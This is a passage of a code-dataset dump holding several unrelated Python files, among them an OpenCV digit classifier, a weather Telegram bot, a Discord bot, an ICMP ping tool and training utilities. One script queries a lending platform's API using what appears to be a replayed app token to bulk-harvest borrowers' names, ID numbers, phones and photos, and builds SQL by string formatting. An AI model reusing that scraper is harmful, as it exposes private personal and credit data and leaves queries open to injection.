\"bs\": batch_size, \"ts\": timestamp, \"ve\": version}\n task_id = date + \"_\" + train_data_tag + \"_\" + create_id_from_hyperparameters(hyperparameter_dict)\n task_id_list.append(task_id)\n print(\"[INFO] perform task:{0}\".format(task_id))\n\n print(\"[INFO] model created.\")\n src_train_loader = get_dataloader(dataset_dict[train_data_tag], batch_size=batch_size)\n src_valid_loader = get_dataloader(src_valid_dataset, batch_size=batch_size * 4)\n\n tgt_train_loader = get_dataloader(tgt_train_dataset, batch_size=batch_size)\n tgt_valid_loader = get_dataloader(tgt_valid_dataset, batch_size=batch_size * 4)\n tgt_test_loader = get_dataloader(tgt_test_dataset, batch_size=batch_size * 4)\n\n plat = FederatedDAANLearner(model=model,\n source_da_train_loader=src_train_loader,\n source_val_loader=src_valid_loader,\n target_da_train_loader=tgt_train_loader,\n target_val_loader=tgt_valid_loader,\n epoch_patience=epoch_patience,\n validation_batch_interval=5)\n plat.set_model_save_info(ppd_no_ad_root_dir)\n\n plat.train_wo_adaption(epochs=max_epochs,\n lr=lr,\n train_source=True,\n metric=valid_metric,\n task_id=task_id,\n momentum=momentum,\n weight_decay=weight_decay)\n\n # load best model\n model.load_model(root=ppd_no_ad_root_dir,\n task_id=task_id,\n load_global_classifier=True,\n timestamp=None)\n\n print(\"[DEBUG] Global classifier Model Parameter After train:\")\n model.print_parameters()\n\n acc, auc, ks = test_classifier(model, tgt_test_loader, 'test')\n print(f\"acc:{acc}, auc:{auc}, ks:{ks}\")\n\n return task_id_list\n","sub_path":"publications/PrADA/experiments/ppd_loan/train_ppd_utils.py","file_name":"train_ppd_utils.py","file_ext":"py","file_size_in_byte":12728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"451864035","text":"import numpy as np\nimport cv2\n\n# 读取图片转为灰度图\nimg = cv2.imread('digits.png')\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n# 把图片分隔成5000个,每个20x20大小\ncells = [np.hsplit(row, 100) for row in np.vsplit(gray, 50)]\n\n# 再转成numpy数组\nx = np.array(cells)\n\n# 一半用来训练的数组,一半用来测试的数组\ntrain = x[:, :50].reshape(-1, 400).astype(np.float32)\ntest = x[:, 50:100].reshape(-1, 400).astype(np.float32)\n\n# 创建训练和测试的标签\nk = np.arange(10)\ntrain_labels = np.repeat(k, 250)[:, np.newaxis]\ntest_labels = train_labels.copy()\n\n# 创建一个K-Nearest Neighbour分类器,训练数据,然后用测试数据测试它\nknn = cv2.ml.KNearest_create()\nknn.train(train, cv2.ml.ROW_SAMPLE, train_labels)\nret, result, neighbours, dist = knn.findNearest(test, k=5)\n\n# 最终检查测试的精确度,比较结果,检查哪些是错误的,最终输出正确率\nmatches = result == test_labels\ncorrect = np.count_nonzero(matches)\naccuracy = correct * 100.0 / result.size\n\nprint(accuracy)\n","sub_path":"yuanta_python3-master/opencv_number_study/number_detection.py","file_name":"number_detection.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"432185714","text":"n = 8\nf = open('step_'+str(n)+'.txt','r')\nlines = f.readlines()\nf.close()\n\nref = [[0,1,2],[3,4,5],[6,7,8],[0,3,6],[1,4,7],[2,5,8]]\ntemp = []\n\n\nf1 = open('step_'+str(n)+'_non_complete_games.txt','w')\nf2 = open('step_'+str(n)+'_complete_games.txt','w')\nf3 = open('step_'+str(n)+'_over_played_games.txt','w')\nf4 = open('step_'+str(n)+'_doubtly_over_played_games.txt','w')\nfor line in lines:\n\tcount_1 = 0\n\tcount_0 = 0\n\ttemp = line.strip().split(',')\n\tfor ref_line in ref:\n\t\ta = temp[ref_line[0]]\n\t\tb = temp[ref_line[1]]\n\t\tc = temp[ref_line[2]]\n\t\tif a==b and b==c :\n\t\t\tif a == '1':\n\t\t\t\tcount_1 = count_1 + 1\n\t\t\telif a == '0':\n\t\t\t\tcount_0 = count_0 + 1\n\tif count_1 == 0:\n\t\tif count_0 == 0:\n\t\t\tf1.write(line)#non completed games\n\t\telif count_0 == 1 : \n\t\t\tf2.write(line)#completed games\n\t\telif count_0 == 2:\n\t\t\tf4.write(line)#doubtly over played\n\t\telse:\n\t\t\tf3.write(line)#over played games\n\telif count_1 == 1:\n\t\tif count_0 == 0:\n\t\t\tf2.write(line)#completed games\n\t\telse:\n\t\t\tf3.write(line)#over played games\n\telif count_1 == 2:\n\t\tif count_0 == 0:\n\t\t\tf4.write(line)#doubtly over played\n\t\telse:\n\t\t\tf3.write(line)#over played games\n\telse:\n\t\t\tf3.write(line)#over played games\t\nf1.close()\nf2.close()\nf3.close()\nf4.close()\n","sub_path":"differentiating_complete_vs_non_games/step_8/partitioning_overplayed_com_games.py","file_name":"partitioning_overplayed_com_games.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"192337344","text":"import logging\nfrom aiogram import Bot, Dispatcher, executor, types\nfrom config import API_TOKEN, getWeather\nimport json\n\nlogging.basicConfig(level=logging.INFO)\n\nbot = Bot(token=API_TOKEN)\ndp = Dispatcher(bot)\n\n\n@dp.message_handler(commands=['start', 'help'])\nasync def send_welcome(message: types.Message):\n if message.text == '/start':\n await bot.send_sticker(message.chat.id,\n sticker='CAACAgIAAxkBAAEIvIBgVNZjagxkOvlvXi7anBFll4Ls5AACZwADHwFMFQMvnzs0dPL6HgQ')\n await message.reply('Salom ' + message.from_user.first_name + '. Botimizga xush kelibsiz!')\n else:\n await message.reply(\"Bu dunyoning istalgan joyida ob-xavo ma'lumotlarini ko'rishingiz mumkin bo'lgan bot.\")\n\n\ndef get_response(city):\n r = getWeather(city)\n return r\n\n\ncity = ''\n\n\n@dp.message_handler(lambda message: message.text not in ['Maximal temperature', 'Minimal temperature', 'Wind speed', 'Pressure', 'Humidity', 'Cancel'])\nasync def echo(message: types.Message):\n global city\n city = message.text\n\n r = get_response(city)\n if r.status_code == 200:\n response = json.loads(r.content)\n\n temp = str(response['main']['temp'])\n\n msg = 'The current weather in ' + city + ' ' + temp + '°C'\n\n keyboard = types.ReplyKeyboardMarkup(resize_keyboard=True)\n max_temp_keyboard = types.KeyboardButton(text='Maximal temperature')\n min_temp_keyboard = types.KeyboardButton(text='Minimal temperature')\n wind_speed_keyboard = types.KeyboardButton(text='Wind speed')\n pressure_keyboard = types.KeyboardButton(text='Pressure')\n humidity_keyboard = types.KeyboardButton(text='Humidity')\n cancel = types.KeyboardButton(text='Cancel')\n\n keyboard.add(max_temp_keyboard, min_temp_keyboard)\n keyboard.add(wind_speed_keyboard, pressure_keyboard, humidity_keyboard)\n keyboard.add(cancel)\n\n await message.answer(msg, reply_markup=keyboard)\n\n else:\n await bot.send_sticker(message.chat.id,\n sticker='CAACAgIAAxkBAAEIvJRgVNnTXeGXptOG8HGwjQYu3XZLXgACAQADr8ZRGhLj3-N0EyK_HgQ')\n await message.answer(\"⚠️Something went wrong! Please check your city. ⚠\")\n\n\n@dp.message_handler(lambda message: message.text in ['Maximal temperature', 'Minimal temperature', 'Wind speed', 'Pressure', 'Humidity', 'Cancel'])\nasync def weather(msg: types.Message):\n global m, markup\n text = msg.text\n r = get_response(city)\n if r.status_code == 200:\n res = json.loads(r.content)\n\n max_temp = str(res['main']['temp_max'])\n min_temp = str(res['main']['temp_min'])\n wind_speed = str(res['wind']['speed'])\n pressure = str(res['main']['pressure'])\n humidity = str(res['main']['humidity'])\n markup = None\n if text == 'Maximal temperature':\n m = \"Maximal temperature is \" + max_temp + '°C'\n elif text == 'Minimal temperature':\n m = 'Minimal temperature is ' + min_temp + '°C'\n elif text == 'Wind speed':\n m = 'Wind speed is ' + wind_speed + 'm/s'\n elif text == 'Pressure':\n m = 'Pressure is ' + pressure\n elif text == 'Humidity':\n m = 'Humidity is ' + humidity + 'mm'\n else:\n m = 'Cancelled'\n markup = types.ReplyKeyboardRemove()\n\n if markup is not None:\n await msg.answer(m, reply_markup=markup)\n else:\n await msg.answer(m)\n\n\nif __name__ == '__main__':\n executor.start_polling(dp, skip_updates=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"649574352","text":"\nimport logging ,json ,requests\nimport random\nimport pymysql\nimport time\nfrom smtplib import SMTP\nfrom email.mime.text import MIMEText\nfrom email.header import Header\nfrom multiprocessing import Pool\n'''\n 实现:\n 1.数据库里如果存在则直接从数据库里取\n 2.输入file,可从本地导入参数进行查询\n 3.实现自动建表,判断表是否存在\n 4.多进程\n 5.异常email推送报错\n 7.\n\n'''\nfrom config.Headers import jiedaibao_headers\n\nclass Jiedaibao_45:\n def __init__(self):\n self.conn = pymysql.Connect(host='localhost', user='root', password='yangfulong.',\n port=3306 ,database='p2p_items', charset='utf8')\n self.cursor = self.conn.cursor()\n self.headers = jiedaibao_headers()\n self.data = 'isForeground=1&sessionMode=1&accessToken=ACCESS_TOKEN5220484803798602451520320154486&JDBID=000000003af99e18ffffffffbf30fbdb&deviceID=354730010101230&type=overdueCheck&network=5&deviceType=SM-G955N&memberID=522048480379860245&clientVersion=2.9.8.1&apkSign=6F01335F52FCA82276CC99E2F9E65865&blackBox2=05213F31FF5D8B7D709A5A65498F1E74&fp=&platform=android&isHasCheatSoft=0&env=prod&udid=000000003af99e18ffffffffbf30fbdb&h=1280&w=720&traceID=b94e72e4134d45499b1860fafbd2d801&sysLaunchTimeInterval=66395&isRelease=1&systemVersion=4.4.2&manufacturer=samsung&proxyType=none&phoneVen=1&channel=3001a&appKey=fb371c48e9a9b2a1174ed729ae888513&number=%s&from=h5rrc'\n self.url = 'https://rrcapi.jiedaibao.com/zrrc/collector/user/getOverdue'\n self.tablename = 'jdb2'\n def start_requests(self):\n pass\n\n '''发起请求,再出现异常的时候,可以尝试更换data再次请求'''\n def get_data(self, Find_Number):\n self.see_mysql(self.tablename) # 检查有没有这个数据库,没有则创建\n if self.find_mysql_id(Find_Number) ==0:\n data = self.data % Find_Number\n response = requests.post(url=self.url, headers=self.headers, data=data)\n if response.status_code == 200:\n response_data = response.text\n self.parse_data(response_data, Find_Number) # 将数据送到解析函数\n self.process_item(Find_Number ,response_data) # 导入数据库(身份证,data)\n else:\n data = self.find_mysql_id(Find_Number)\n self.find_mysql_id(Find_Number)\n # print(data)\n\n '''异常邮件提醒'''\n def send_email(self, subject,content):\n smtp_host = 'smtp.163.com'\n from_addr = 'AfterShipOne@163.com'\n password = '*'\n to_addrs = '993294959@qq.com'\n email_client = SMTP(smtp_host)\n email_client.login(from_addr, password)\n msg = MIMEText(content, 'plain', 'utf-8')\n msg['Subject'] = Header(subject, 'utf-8')\n msg['From'] = 'AfterShipOne@163.com'\n msg['To'] = '993294959@qq.com'\n email_client.sendmail(from_addr, to_addrs, msg.as_string())\n email_client.quit()\n\n '''解析response'''\n def parse_data(self, response_data, Find_Number):\n item_values = {}\n try:\n response_dict = json.loads(response_data)\n # if 'error' in response_dict.keys():\n item_values['查询状态'] = response_dict.get('error').get('returnUserMessage')\n # elif 'data' in response_dict.keys():\n datas = response_dict.get('data', '无个人信息:')\n item_values['借贷状态:'] = datas.get('message')\n item_values['姓名:'] = datas.get('info').get('name')\n item_values['年龄:'] = datas.get('info').get('age')\n item_values['身份证:'] = datas.get('info').get('cardId')\n item_values['相片URL:'] = datas.get('info').get('avatar_url')\n item_values['电话号码:'] = datas.get('info').get('phone')\n try: # 尝试解析征信平台,没有则不返回\n credit = datas.get('credit_platform', '无征信信息')\n if len(credit) < 1:\n print('没有征信信息!')\n else:\n try:\n item_values['征信平台1:'] = datas.get('credit_platform', '无')[1].values()\n item_values['征信平台2:'] = datas.get('credit_platform', '无')[2].values()\n item_values['征信平台3:'] = datas.get('credit_platform', '无')[3].values()\n except:\n item_values['传征信平台:'] = datas.get('credit_platform', '无征信信息')\n except Exception as e:\n logging.INFO(e)\n except:\n if isinstance(Find_Number, int):\n print('请检查输入是否有误!')\n print('请重新输入!')\n item_values['个人信息'] = '无'\n print('查询号码:{}'.format(Find_Number))\n for i, b in item_values.items():\n alldata = '{}{}'.format(i, b)\n print(alldata)\n\n\n '''从本地读取身份证号码自动查询,'''\n def open_file(self):\n while True:\n with open(u'd://data//2.txt', 'r') as f:\n origin = f.readlines()\n for i in origin:\n content = i.strip()\n sleep = random.randint(2 ,7)\n print(content)\n\n time.sleep(sleep)\n print('请求延迟%d秒! ' %sleep)\n yield content\n\n '''创建数据库,如果导入表格不存在则调用此函数创建'''\n def open_spider(self ,table_name):\n # table_name = input('输入数据库名:')\n create_sql = 'CREATE TABLE IF NOT EXISTS %s(' \\\n 'ID INT(10) NOT NULL PRIMARY KEY AUTO_INCREMENT,' \\\n 'FIND_TIME TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,' \\\n 'INDEX_ID VARCHAR(255),' \\\n 'ALL_DATA VARCHAR(5000))ENGINE = INNODB DEFAULT CHARSET=utf8'\n self.cursor.execute(create_sql % table_name)\n self.conn.commit()\n print('Create table ok!')\n\n '''执行mysql查询判断'''\n def see_mysql(self ,grammar):\n try:\n SeeMysql = '''desc %s'''\n self.cursor.execute(SeeMysql % grammar)\n # data = self.cursor.fetchall()\n self.conn.commit()\n except Exception as e:\n print('No tablename...%s ' %e)\n self.open_spider(grammar)\n\n def multiprocessing_pool(self,function_name):\n p = Pool()\n for l in range(5):\n p.apply_async(function_name,args=(l))\n p.close()\n p.join()\n\n def close_spider(self):\n self.cursor.close()\n self.conn.close()\n print('Close databases OK!!!')\n\n\n '''查询数据库内有没有idnumber有没有用户id,有则不抓取api端数据'''\n def find_mysql_id(self ,idnumber):\n SeeMysql = '''select * from %s where index_id=%s;'''\n self.cursor.execute(SeeMysql % (self.tablename ,idnumber))\n data = self.cursor.fetchall()\n print(data)\n if len(data) < 1: # 如果查询结果小于1则执行抓取数据\n print('database is none!')\n return 0\n elif len(data) == 1:\n print('data from database !')\n #print(data)\n return data\n\n\n '''导入数据库'''\n def process_item(self, IDNumber, AllData):\n try:\n #self.see_mysql(self.tablename) # 检查有没有这个数据库,没有则创建\n insert_table = '''INSERT INTO %s(INDEX_ID,ALL_DATA)VALUES('%s','%s')''' % \\\n (self.tablename, IDNumber, AllData)\n self.cursor.execute(insert_table)\n self.conn.commit()\n except Exception as e:\n print(e)\n\n '''持续查询'''\n def while_demo(self):\n items = Jiedaibao_45()\n try:\n while True:\n Find_Number = input('请输入查询参数(输入ESC退出!):')\n if Find_Number == 'file':\n index_id = items.open_file()\n for i in index_id:\n items.get_data(i)\n Find_Number = Find_Number.strip()\n if Find_Number == 'esc':\n break\n items.get_data(Find_Number)\n except Exception as e:\n self.send_email('这是来自借贷宝脚本的错误!!','Jiedaibao_45 object is error!!:%s'%e)\n\n\n '''主逻辑'''\n def main(self):\n # 执行查询\n self.while_demo()\n\n\nif __name__ == '__main__':\n items = Jiedaibao_45()\n # items.see_mysql('demo5')\n items.main()\n # items.open_file()\n # items.find_mysql_id(1871198936)\n items.conn.close()\n items.cursor.close()\n","sub_path":"p2p_items/Jiedaibao_Api/requests_demo/Jiedaibao_45_5.py","file_name":"Jiedaibao_45_5.py","file_ext":"py","file_size_in_byte":8832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"198746978","text":"#!/usr/bin/python3\nimport socket\nimport sys\nimport time\n\n# the data in string\ndef get_sum_from_data(data):\n\treversed_message = ''.join(reversed(data)) \n\tmessage_bytearray = bytearray(reversed_message.encode())\t\n\tmessage_sum = 0\n\twhile message_bytearray:\n\t\thead = message_bytearray.pop()\n\t\thead = head << 8\n\t\ttry:\n\t\t\ttail = message_bytearray.pop()\n\t\texcept:\n\t\t\ttail = 0\n\t\tmessage_sum += head\t+ tail\n\treturn message_sum\n\ndef get_checksum(icmp_header, data):\n\ticmp_checksum = 0\n\tfor d in icmp_header:\n\t\tif icmp_header.index(d) == 1:\n\t\t\tcontinue\n\t\ticmp_checksum += d\n\t\tif icmp_checksum > 0xffff:\n\t\t\tcarry = icmp_checksum - 0xffff\n\t\t\ticmp_checksum = icmp_checksum & 0xffff\n\t\t\ticmp_checksum += carry\n\t\n\ticmp_checksum += get_sum_from_data(data)\n\t\n\tif icmp_checksum > 0xffff:\n\t\tcarry = icmp_checksum - 0xffff\n\t\ticmp_checksum = icmp_checksum & 0xffff\n\t\ticmp_checksum += carry\n\ticmp_checksum = icmp_checksum ^ 0xffff\n\n\treturn icmp_checksum\n\ndef conv_header(icmp_header):\n\theader_in_bytes = b''\n\tfor data in icmp_header:\n\t\theader_in_bytes += data.to_bytes(2,'big')\t\n\treturn header_in_bytes\n\ndef analize_response(res):\n\ticmp_type_and_code = res[:1]\n\treturn int.from_bytes(icmp_type_and_code,'big')\n\ndef ping(dst_ip, count):\n\twith socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) as icmp_socket:\n\t\ticmp_socket.connect((dst_ip,0))\n\t\ticmp_type_and_code = 8 << 8\n\t\ticmp_header = [icmp_type_and_code,0,100,0]#0 -> type and code, 1 -> checksum, 2 -> Identifier, 3 -> Sequence Number \n\t\ticmp_message = 'test'\n\t\twhile count > icmp_header[3]:\n\t\t\ticmp_header[1] = get_checksum(icmp_header, icmp_message)\n\t\t\theader_in_bytes = conv_header(icmp_header) \n\t\t\ticmp_raw_data = header_in_bytes + bytearray(icmp_message.encode())\n\t\t\ticmp_socket.sendall(icmp_raw_data)\n\t\t\tsend_time = time.time()\n\t\t\ticmp_header[3] += 1\n\t\t\tres = icmp_socket.recv(65507)\n\t\t\tres = res[20:]\n\t\t\tres_time = time.time()\n\t\t\tif analize_response(res) == 0:\n\t\t\t\tprint(dst_ip, 'respond in {:.2} ms'.format(((res_time - send_time)) * 1000))\n\t\t\ttime.sleep(1)\ndef main():\n\tping(sys.argv[1],int(sys.argv[2]))\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"ping.py","file_name":"ping.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"123189688","text":"def get_strings(city):\n ans = ''\n dic = {}\n city = city.lower().replace(' ','')\n for letter in city:\n if letter not in dic:\n dic[letter] = '*'\n else:\n dic[letter] += '*'\n for letter in city:\n if letter not in ans:\n ans += letter + ':' + dic[letter] + ','\n ans = ans.rstrip(',')\n return ans\n\nprint(get_strings(''))\n# print('l:*,a:**,s:**, :*,v:*,e:*,g:*' == 'l:*,a:**,s:**,v:*,e:*,g:*')","sub_path":"SOLVED/GoogleInterviewQEasy.py","file_name":"GoogleInterviewQEasy.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"30536582","text":"from lib import get_logger\nfrom lib.aws.dynamodb import Dynamodb\nfrom lib.util.converter import Converter\n\n\nclass ListHistory:\n def __init__(self):\n self.logger = get_logger(__name__)\n self.dynamodb = Dynamodb()\n self.converter = Converter()\n self.default_record_num = 20\n\n def default(self, message):\n items = self.dynamodb.find(self.dynamodb.default_table, self.default_record_num)\n self.logger.info(items)\n\n if len(items) == 0:\n message.reply('まだ登録データが無いようです。')\n return\n\n # 申請日でソート\n items.sort(key=lambda x: x['entry_time'], reverse=True)\n\n text_list = list()\n for item in items:\n text_list.append(self.converter.get_list_str(item))\n\n message.send(\"\\n\".join(text_list))\n\n def search(self, message, search_words):\n items = self.dynamodb.scan_contains_search_words(search_words)\n\n if len(items) == 0:\n message.reply('見つかりませんでした...。検索文字を変えてみてください。大文字小文字も区別しますよ。')\n return\n\n # 申請日でソート\n items.sort(key=lambda x: x['entry_time'], reverse=True)\n\n text_list = list()\n for item in items:\n text_list.append(self.converter.get_list_str(item))\n\n message.send(\"\\n\".join(text_list))\n","sub_path":"lib/bookbot/list_history.py","file_name":"list_history.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"432661940","text":"# https://www.hackerrank.com/challenges/validating-uid/problem?h_r=next-challenge&h_v=zen\n\nimport re\n\n\ndef check_UID(uid):\n if len(re.findall(r'[A-Z]', uid)) < 2 or len(re.findall(r'[0-9]', uid)) < 3 or len(re.findall(r'[^A-Za-z0-9]', uid)) \\\n or len(uid) != 10 or len(set(uid)) < 10:\n return 'Invalid'\n else:\n return 'Valid'\n\n\nif __name__ == '__main__':\n for _ in range(int(input())):\n print(check_UID(input()))\n","sub_path":"hackerrank/others/validating_UID_my.py","file_name":"validating_UID_my.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"543239150","text":"import numpy as np \r\nimport scipy as sc\r\nimport scipy.signal as scs \r\nimport matplotlib.pyplot as plt \r\n\r\nG=np.matrix([[5,4],[3,2]])\r\n\r\n# SVD decomposition\r\n\r\n[U,S,T]=np.linalg.svd(G)\r\n\r\n# first function is to create the unit circle\r\n\r\ndef Unit_circle():\r\n x=np.linspace(-0.99,0.99,100)\r\n y1=np.sqrt(1-x**2)\r\n y2=-1*np.sqrt(1-x**2)\r\n\r\n \r\n x_vec,y_vec=np.zeros(2*len(x)),np.zeros(2*len(x))\r\n x_vec[0:len(x)]=x\r\n y_vec[0:len(x)]=y1\r\n x_vec[len(x):]=x\r\n y_vec[len(x):]=y2\r\n \r\n return x_vec,y_vec\r\n\r\n[d1,d2]=Unit_circle()\r\n\r\n\r\n\r\n\r\n# generating the plot in figure 3.5 and figure 3.6\r\n\r\n\r\nfor i in range(len(d1)):\r\n d =np.matrix([[d1[i]],[d2[i]]])\r\n y_out=G*d\r\n y_axis=np.sqrt(y_out[0]**2+y_out[1]**2)/np.sqrt(d1[i]**2+d2[i]**2)\r\n x_axis=d1[i]/d2[i]\r\n plt.figure(1)\r\n plt.title('Figure 3.5')\r\n plt.plot(x_axis,y_axis,'b.')\r\n plt.figure(2)\r\n plt.subplot(211)\r\n plt.title('input')\r\n plt.plot(d1[i],d2[i],'r.')\r\n plt.subplot(212)\r\n plt.title('output')\r\n plt.plot(y_out[0],y_out[1],'b.')\r\n \r\n \r\nplt.show()\r\n\r\n","sub_path":"Example_3_3.py","file_name":"Example_3_3.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"585156345","text":"from discord.ext import commands\nfrom core.cog_config import CogExtension\n\n\nclass Main(CogExtension):\n # ping\n @commands.command()\n async def ping(self, ctx):\n await ctx.send(f':stopwatch: {round(self.bot.latency * 1000)} (ms)')\n\n @commands.command()\n @commands.has_any_role('總召', 'Administrator')\n async def fix_role(self, ctx):\n decline_lvl_roles = [\n ctx.guild.get_role(840633610256121867),\n ctx.guild.get_role(823804274647236618),\n ctx.guild.get_role(823804080199565342),\n ctx.guild.get_role(823803958052257813),\n ]\n for member in ctx.guild.members:\n if member.bot:\n continue\n\n for index, lvl_role in enumerate(decline_lvl_roles):\n if member.top_role.position > lvl_role.position:\n for other_roles in decline_lvl_roles[index::]:\n if other_roles in member.roles:\n await member.remove_roles(other_roles)\n\n try:\n await member.add_roles(lvl_role)\n except:\n pass\n break\n await ctx.send(':white_check_mark: 身分組維修完成!')\n\n @commands.command()\n @commands.has_any_role('總召', 'Administrator')\n async def findvname(self, ctx, search_via_name: str):\n\n for member in ctx.guild.members:\n member_name = member.name\n\n if member_name.find(search_via_name) != -1:\n await ctx.send(f'{member_name} {member.id}')\n\n @commands.command()\n @commands.has_any_role('總召', 'Administrator')\n async def findvnick(self, ctx, search_via_nick: str):\n\n for member in ctx.guild.members:\n member_nick = member.nick\n if member_nick is None:\n continue\n\n if member_nick.find(search_via_nick) != -1:\n await ctx.send(f'{member_nick} {member.id}')\n\n @commands.command()\n @commands.has_any_role('總召', 'Administrator')\n async def findvid(self, ctx, search_via_id: int):\n\n for member in ctx.guild.members:\n if member.id != search_via_id:\n continue\n\n if member.name is None:\n return await ctx.send(f'{member.name} {member.id}')\n\n await ctx.send(f'{member.nick} {member.id}')\n\n\ndef setup(bot):\n bot.add_cog(Main(bot))\n","sub_path":"cogs/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"434378413","text":"# Calculating the total polarization\n# For each pixel\n# For each phase angle\n\n# Focusing on KCl, 800nm\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef degree_of_polarization(I, Q, U, V):\n '''\n Takes Stokes vectors I, Q, U, and V\n Returns degree of (linear) polarization\n '''\n dop = np.sqrt(Q**2. + U**2. + V**2) / I\n return dop\n\nin_dir = './pixx/DATA_KCl/'\nwavelength = 800 #nm\nangle = np.arange(10, 180, 5)\npol = ['0F', '0Q', '0U', '0V']\n\noutdata = open('./pixx/DATA_KCl/polarization.dat', 'w')\n\naverage_degree = []\n\n\nfor a in angle:\n print('Angle: ',a)\n # Read in files\n F_file = np.genfromtxt(in_dir+str(wavelength)+'_'+str(a)+'_'+'0F.dat')\n Q_file = np.genfromtxt(in_dir+str(wavelength)+'_'+str(a)+'_'+'0Q.dat')\n U_file = np.genfromtxt(in_dir+str(wavelength)+'_'+str(a)+'_'+'0U.dat')\n V_file = np.genfromtxt(in_dir+str(wavelength)+'_'+str(a)+'_'+'0V.dat')\n # Assign coordinates\n x = F_file[:,0]\n y = F_file[:,1]\n # Fluxes of different vectors\n F = F_file[:,2]\n Q = Q_file[:,2]\n U = U_file[:,2]\n V = V_file[:,2]\n # Calculate the degree of polarization\n degree = degree_of_polarization(F, Q, U, V) \n # Plot the 2D surface\n plt.scatter(x, y, c=degree, vmin = 0, vmax = 0.02)\n plt.xlabel('$x$')\n plt.ylabel('$y$')\n plt.colorbar(label='Degree of Polarization')\n plt.axis('equal')\n plt.title('KCl Degree of Polarization, '+str(wavelength)+'nm '+str(a)+\n ' degrees')\n plt.savefig('./plots/KCl_800_'+str(a)+'_DOP.png')\n plt.close()\n\n # Average dop over all pixels (1850 pixels)\n avg = np.mean(degree)\n average_degree.append(avg)\n # Save angles and total dop values\n outdata.write('{:2d} \\t {:5.3f} \\n'.format(a, avg))\n \n\noutdata.close()\n\n# Plot avg dop as a function of angle\nplt.plot(angle, average_degree)\nplt.axvline(x = 24.8)\nplt.xlabel('Planetary Angle (Degrees)')\nplt.ylabel('Degree of Polarization')\nplt.title('KCl Average Degree of Polarization around Rainbow Angle, 800nm')\n##plt.show()\nplt.savefig('./plots/KCl_DOPvsAngle.png')\nplt.close()\n","sub_path":"bin/polarization.py","file_name":"polarization.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"350445790","text":"import requests\nfrom bs4 import BeautifulSoup\n\nprint()\nresult = requests.get('https://kr.indeed.com/jobs?q=%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C&l=')\nsoup = BeautifulSoup(result.text, 'html.parser')\n\npagination = soup.find('div',{'class' : 'pagination'})\nlinks = pagination.find_all('a')\npages = []\n\nfor link in links:\n pages.append(link.find('span').string)\n\nprint(pages[:-1])","sub_path":"testInLinux.py","file_name":"testInLinux.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"337431803","text":"from django.conf.urls import include\nfrom django.conf.urls.static import static\nfrom django.urls import path\nfrom django.conf import settings\nfrom gameraterapi.views import GamesViewSet, CategoriesViewSet, GameReviewViewSet, register_user, login_user, GameRatingViewSet, PlayerViewSet, GamePictureViewSet\nfrom rest_framework import routers\n\nrouter = routers.DefaultRouter(trailing_slash=False)\nrouter.register(r'games', GamesViewSet, 'game')\nrouter.register(r'categories', CategoriesViewSet, 'category')\nrouter.register(r'reviews', GameReviewViewSet, 'review')\nrouter.register(r'ratings', GameRatingViewSet, 'rating')\nrouter.register(r'players', PlayerViewSet, 'player')\nrouter.register(r'pictures', GamePictureViewSet, 'picture')\n\n\nurlpatterns = [\n path('', include(router.urls)),\n path('register', register_user),\n path('login', login_user),\n path('api-auth', include('rest_framework.urls', namespace='rest_framework')),\n path('', include('gamerater_reports.urls'))\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","sub_path":"gamerater_server/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"531028000","text":"import os, inspect\n\nclass Problem081:\n\n def minimalPathSum(self, matrix):\n height = len(matrix)\n width = len(matrix[0])\n\n minimalMatrixSums = [[matrix[row][column] for column in xrange(width)] for row in xrange(height)]\n for i in xrange(height + width - 1):\n for j in xrange(max(0, i-(width-1)), min(height, i+1)):\n row, column = j, i-j\n if row == 0 and column == 0:\n continue\n elif row == 0:\n minimalMatrixSums[row][column] += minimalMatrixSums[row][column-1]\n elif column == 0:\n minimalMatrixSums[row][column] += minimalMatrixSums[row-1][column]\n else:\n minimalMatrixSums[row][column] += min(minimalMatrixSums[row][column-1], minimalMatrixSums[row-1][column])\n\n return minimalMatrixSums[-1][-1]\n\n def solution(self):\n currentDir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\n with open(os.path.join(currentDir, 'inputfiles', 'Problem081.txt'), 'r') as f:\n return self.minimalPathSum([map(int, line.split(',')) for line in f])\n\n def test(self):\n testData = [\n [131, 673, 234, 103, 18],\n [201, 96, 342, 965, 150],\n [630, 803, 746, 422, 